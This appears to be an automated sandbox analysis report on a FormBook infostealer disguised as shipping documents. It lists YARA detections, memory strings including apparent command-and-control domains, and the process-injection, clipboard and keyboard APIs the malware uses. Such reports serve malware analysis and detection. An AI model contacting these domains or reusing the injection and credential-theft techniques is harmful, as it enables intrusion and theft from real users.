66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75
                Source: sc.exe, 00000007.00000002.2585504676.00000000043D4000.00000004.10000000.00040000.00000000.sdmp, hcwvcDPvVeAzsY.exe, 00000008.00000002.2584883100.00000000033F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2307969500.000000000EC34000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: http://bloodbalancecaps.shop/7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb
                Source: hcwvcDPvVeAzsY.exe, 00000008.00000002.2586189448.00000000054DE000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.avalanchefi.xyz
                Source: hcwvcDPvVeAzsY.exe, 00000008.00000002.2586189448.00000000054DE000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.avalanchefi.xyz/ctta/
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: sc.exe, 00000007.00000002.2583431211.000000000348B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: sc.exe, 00000007.00000002.2583431211.000000000348B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: sc.exe, 00000007.00000003.2197201669.0000000008139000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
                Source: sc.exe, 00000007.00000002.2583431211.000000000348B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: sc.exe, 00000007.00000002.2583431211.000000000348B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033E$
                Source: sc.exe, 00000007.00000002.2583431211.000000000348B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: sc.exe, 00000007.00000002.2583431211.000000000348B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: sc.exe, 00000007.00000003.2202126445.000000000815E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A14164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00A14164
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A14164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00A14164
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A13F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00A13F66
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_00A0001C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A2CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00A2CABC

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.2584855517.0000000003750000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2584715136.00000000035C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2583125879.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016788677.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2584635635.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2017207373.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2586189448.0000000005440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2016510291.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: This is a third-party compiled AutoIt script.0_2_009A3B3A
                Source: AWB_5771388044 Documente de expediere.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000000.1343977915.0000000000A54000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_2d3cdb91-3
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000000.1343977915.0000000000A54000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_262db8c6-9
                Source: AWB_5771388044 Documente de expediere.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_028c6876-0
                Source: AWB_5771388044 Documente de expediere.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_8209c2f4-4
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: AWB_5771388044 Documente de expediere.exe
                Source: C:\Windows\SysWOW64\svchost.exeProcess Stats: CPU usage > 49%
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042CDA3 NtClose,2_2_0042CDA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672B60 NtClose,LdrInitializeThunk,2_2_03672B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03672DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036735C0 NtCreateMutant,LdrInitializeThunk,2_2_036735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03674340 NtSetContextThread,2_2_03674340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03674650 NtSuspendThread,2_2_03674650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BE0 NtQueryValueKey,2_2_03672BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BF0 NtAllocateVirtualMemory,2_2_03672BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672BA0 NtEnumerateValueKey,2_2_03672BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672B80 NtQueryInformationFile,2_2_03672B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AF0 NtWriteFile,2_2_03672AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AD0 NtReadFile,2_2_03672AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672AB0 NtWaitForSingleObject,2_2_03672AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F60 NtCreateProcessEx,2_2_03672F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F30 NtCreateSection,2_2_03672F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FE0 NtCreateFile,2_2_03672FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FA0 NtQuerySection,2_2_03672FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672FB0 NtResumeThread,2_2_03672FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672F90 NtProtectVirtualMemory,2_2_03672F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672E30 NtWriteVirtualMemory,2_2_03672E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672EE0 NtQueueApcThread,2_2_03672EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672EA0 NtAdjustPrivilegesToken,2_2_03672EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672E80 NtReadVirtualMemory,2_2_03672E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D30 NtUnmapViewOfSection,2_2_03672D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D00 NtSetInformationFile,2_2_03672D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672D10 NtMapViewOfSection,2_2_03672D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DD0 NtDelayExecution,2_2_03672DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672DB0 NtEnumerateKey,2_2_03672DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C60 NtCreateKey,2_2_03672C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C70 NtFreeVirtualMemory,2_2_03672C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672C00 NtQueryInformationProcess,2_2_03672C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CF0 NtOpenProcess,2_2_03672CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CC0 NtQueryVirtualMemory,2_2_03672CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672CA0 NtQueryInformationToken,2_2_03672CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673010 NtOpenDirectoryObject,2_2_03673010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673090 NtSetValueKey,2_2_03673090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036739B0 NtGetContextThread,2_2_036739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673D70 NtOpenThread,2_2_03673D70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03673D10 NtOpenProcessToken,2_2_03673D10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A34340 NtSetContextThread,LdrInitializeThunk,7_2_03A34340
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A34650 NtSuspendThread,LdrInitializeThunk,7_2_03A34650
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32BA0 NtEnumerateValueKey,LdrInitializeThunk,7_2_03A32BA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32BE0 NtQueryValueKey,LdrInitializeThunk,7_2_03A32BE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32BF0 NtAllocateVirtualMemory,LdrInitializeThunk,7_2_03A32BF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32B60 NtClose,LdrInitializeThunk,7_2_03A32B60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32AF0 NtWriteFile,LdrInitializeThunk,7_2_03A32AF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32AD0 NtReadFile,LdrInitializeThunk,7_2_03A32AD0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32FB0 NtResumeThread,LdrInitializeThunk,7_2_03A32FB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32FE0 NtCreateFile,LdrInitializeThunk,7_2_03A32FE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32F30 NtCreateSection,LdrInitializeThunk,7_2_03A32F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32E80 NtReadVirtualMemory,LdrInitializeThunk,7_2_03A32E80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32EE0 NtQueueApcThread,LdrInitializeThunk,7_2_03A32EE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32DF0 NtQuerySystemInformation,LdrInitializeThunk,7_2_03A32DF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32DD0 NtDelayExecution,LdrInitializeThunk,7_2_03A32DD0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32D30 NtUnmapViewOfSection,LdrInitializeThunk,7_2_03A32D30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32D10 NtMapViewOfSection,LdrInitializeThunk,7_2_03A32D10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32CA0 NtQueryInformationToken,LdrInitializeThunk,7_2_03A32CA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32C60 NtCreateKey,LdrInitializeThunk,7_2_03A32C60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32C70 NtFreeVirtualMemory,LdrInitializeThunk,7_2_03A32C70
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A335C0 NtCreateMutant,LdrInitializeThunk,7_2_03A335C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A339B0 NtGetContextThread,LdrInitializeThunk,7_2_03A339B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32B80 NtQueryInformationFile,7_2_03A32B80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32AB0 NtWaitForSingleObject,7_2_03A32AB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32FA0 NtQuerySection,7_2_03A32FA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32F90 NtProtectVirtualMemory,7_2_03A32F90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32F60 NtCreateProcessEx,7_2_03A32F60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32EA0 NtAdjustPrivilegesToken,7_2_03A32EA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32E30 NtWriteVirtualMemory,7_2_03A32E30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32DB0 NtEnumerateKey,7_2_03A32DB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32D00 NtSetInformationFile,7_2_03A32D00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32CF0 NtOpenProcess,7_2_03A32CF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32CC0 NtQueryVirtualMemory,7_2_03A32CC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A32C00 NtQueryInformationProcess,7_2_03A32C00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A33090 NtSetValueKey,7_2_03A33090
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A33010 NtOpenDirectoryObject,7_2_03A33010
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A33D10 NtOpenProcessToken,7_2_03A33D10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03A33D70 NtOpenThread,7_2_03A33D70
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_032397B0 NtReadFile,7_2_032397B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03239640 NtCreateFile,7_2_03239640
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03239AC0 NtAllocateVirtualMemory,7_2_03239AC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_03239960 NtClose,7_2_03239960
                Source: C:\Windows\SysWOW64\sc.exeCode function: 7_2_032398B0 NtDeleteFile,7_2_032398B0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A0A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00A0A1EF
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009F8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_009F8310
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A051BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00A051BD
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009AE6A00_2_009AE6A0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009CD9750_2_009CD975
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009AFCE00_2_009AFCE0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C21C50_2_009C21C5
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D62D20_2_009D62D2
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A203DA0_2_00A203DA
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D242E0_2_009D242E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C25FA0_2_009C25FA
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B66E10_2_009B66E1
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009FE6160_2_009FE616
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D878F0_2_009D878F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A088890_2_00A08889
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B88080_2_009B8808
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D68440_2_009D6844
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A208570_2_00A20857
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009CCB210_2_009CCB21
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D6DB60_2_009D6DB6
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B6F9E0_2_009B6F9E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B30300_2_009B3030
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C31870_2_009C3187
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009CF1D90_2_009CF1D9
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009A12870_2_009A1287
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C14840_2_009C1484
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B55200_2_009B5520
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C76960_2_009C7696
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B57600_2_009B5760
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C19780_2_009C1978
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009D9AB50_2_009D9AB5
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009C1D900_2_009C1D90
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009CBDA60_2_009CBDA6
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00A27DDB0_2_00A27DDB
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009B3FE00_2_009B3FE0
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_009ADF000_2_009ADF00
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_01317B780_2_01317B78
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418C132_2_00418C13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004031902_2_00403190
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042F3C32_2_0042F3C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004104032_2_00410403
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416E132_2_00416E13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E6132_2_0040E613
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004106232_2_00410623
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E7572_2_0040E757
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E75F2_2_0040E75F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E7632_2_0040E763
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004027D02_2_004027D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA3522_2_036FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E3F02_2_0364E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037003E62_2_037003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E02742_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C02C02_2_036C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C81582_2_036C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036301002_2_03630100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA1182_2_036DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F81CC2_2_036F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037001AA2_2_037001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036407702_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036647502_2_03664750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363C7C02_2_0363C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365C6E02_2_0365C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036405352_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037005912_2_03700591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F24462_2_036F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EE4F62_2_036EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FAB402_2_036FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F6BD72_2_036F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA802_2_0363EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036569622_2_03656962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A02_2_036429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0370A9A62_2_0370A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364A8402_2_0364A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036428402_2_03642840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E8F02_2_0366E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036268B82_2_036268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4F402_2_036B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03682F282_2_03682F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660F302_2_03660F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364CFE02_2_0364CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632FC82_2_03632FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BEFA02_2_036BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640E592_2_03640E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FEE262_2_036FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FEEDB2_2_036FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652E902_2_03652E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FCE932_2_036FCE93
